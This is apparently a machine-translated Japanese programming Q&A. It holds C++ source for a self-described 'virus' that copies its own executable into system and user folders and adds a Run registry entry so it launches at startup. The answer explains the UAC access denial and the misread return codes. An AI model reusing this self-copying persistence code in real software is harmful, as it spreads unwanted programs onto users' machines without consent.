0

学校のプロジェクト用に実験的なウイルスを書いています。それは自分自身をコピーし、自分自身を開始する必要があります..私はこの記事から始めました、そして私はこれに来ました:

#include <windows.h>
#include <iostream>
#include <tchar.h>
#include <stdio.h>
using namespace std;

void main()
{
wchar_t system[MAX_PATH];
wchar_t user[MAX_PATH];
wchar_t pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
DWORD  bufSize = MAX_PATH;

GetModuleFileName(GetModH, pathtofile, sizeof(pathtofile));
GetSystemDirectory(system, sizeof(system));

std::wstring s(system);
s += std::wstring(L"\\virus.exe");
WCHAR* sysfull = &s[0];

if(!CopyFile(pathtofile, sysfull, false))
{
    sysfull = L"C:\\Users\\Public\\virus.exe";
    if(!CopyFile(pathtofile, sysfull, false))
    {
        GetUserName(user, &bufSize);
        std::wstring u(L"C:\\Users\\");
        u += std::wstring(user);
        u += std::wstring(L"\\Documents\\virus.exe");
        sysfull = &u[0];
        CopyFile(pathtofile, sysfull, false);
    }
}

HKEY hKey;

bool t = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey );
bool t1 = RegSetValueEx(hKey, L"Writing to the Registry Example", 0, REG_SZ, (const unsigned char*)sysfull, sizeof(system));
RegCloseKey(hKey);

MessageBox(NULL,L"Hello",L"Messagebox Example",MB_OK);
}

問題は、HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run の下の regedit を見ると、新しいキーがないことです。RegOpenKeyEx と RegSetValueEx は true を返し、すべて正常に動作しているように見えますが、そうではなく、その理由がわかりません。

私はWindows 8でVS12を使用しています。

4

1 に答える 1

1

Windows Vista 以降では、 UACと呼ばれるメカニズムを介してHKEY_LOCAL_MACHINE_KEY、 、 などの機密性の高い特定の場所への書き込みアクセスがブロックされます。UAC が有効になっている場合 (既定では有効)、管理者レベルのユーザーは既定で権限のセットが制限されており、プログラムは昇格と呼ばれる手法を使用して完全な管理者権限を取得する必要があります。または、右クリック メニューから管理者としてプログラムを起動して、フル アクセスを許可することもできます。C:\Windows

どちらの方法でも、UAC がオンになっている場合、権限が付与される前に、ユーザーはダイアログを介して昇格を承認する必要があります。

レジストリ関数はRegOpenKeyEx()、成功すると 0 を返し、失敗するとエラー コードを返します (true/false ではありません)。リターン コードを適切にチェックすると、5 が返されていることがわかりますERROR_ACCESS_DENIED

于 2013-10-05T20:29:40.697 に答える